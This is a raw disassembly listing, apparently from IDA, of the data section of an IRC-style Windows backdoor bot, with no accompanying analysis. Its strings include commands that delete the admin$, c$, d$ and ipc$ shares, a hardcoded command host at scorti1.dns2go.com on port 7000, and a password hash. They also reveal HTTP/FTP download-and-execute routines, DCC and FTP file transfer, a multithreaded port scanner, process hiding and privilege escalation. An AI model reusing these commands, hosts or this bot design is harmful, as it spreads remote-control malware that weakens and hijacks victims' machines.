dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CF60+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086ECo ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
dword_4437FC	dd 20544F48h, 53584946h, 0aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+386o
		align 4
		dd 0
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+375o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o
		align 10h
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+353o
		dd 0
aTahy		db 'TAHY-',0            ; DATA XREF: sub_407790+345o
		align 4
aHoewrt		db 'hoewrt',0           ; DATA XREF: sub_407790+334o
		align 4
aHotfixs_exe	db 'hotfixs.exe',0      ; DATA XREF: sub_407790+323o
		dd 0
aServec		db 'servec',0           ; DATA XREF: sub_407790+312o
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+301o
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2F0o
		align 10h
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438B0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438D0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4438F8	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A20	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443AF4:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C74	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C78:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C84:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CC4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CDC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CEC	dd 4255505Bh, 5D43494Ch, 0dword_443CF8	dd 4952505Bh, 45544156h, 5Dhdword_443D04	dd 202Eh						; sub_4126B0+E5o
dword_443D08	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D24:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D28:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D2C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D30	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D70	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D74	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D80	dd 652Dh	dword_443D84	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DC0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DC4	dd 2Eh							; ___:0041B235o ...
dword_443DC8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443E14:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443E28	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74	dd 63257325h, 0						; sub_41F860+E5o
dword_443E7C	dd 72h		dword_443E80	dd 30h							; sub_424840+327o
dword_443E84	dd 3039h	dword_443E88	dd 383631h	dword_443E8C	dd 323931h	dword_443E90	dd 3631h	dword_443E94	dd 323731h	dword_443E98	dd 3031h	off_443E9C	dd offset dword_5C005C	; DATA XREF: ___:0041C117r
					; ___:0041C287r
word_443EA0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EA4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EA8	dd 430050h						; ___:0041C25Br
dword_443EAC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EE8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FEC	dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC	dd 6469706Bh, 7325203Ah, 0dword_444008	dd 203A736Bh, 7325hdword_444010	dd 202E6425h, 7325202Fh, 0dword_44401C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_444098:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
aNla		db 'Nla',0              ; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44432C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444400:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444438	dd 1BDh							; sub_422A40+310o ...
off_44443C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444440	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422A40+747o
aA		db ' -a',0              ; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
aR		db ' -r',0              ; DATA XREF: sub_422A40:loc_423167o
					; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44466C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
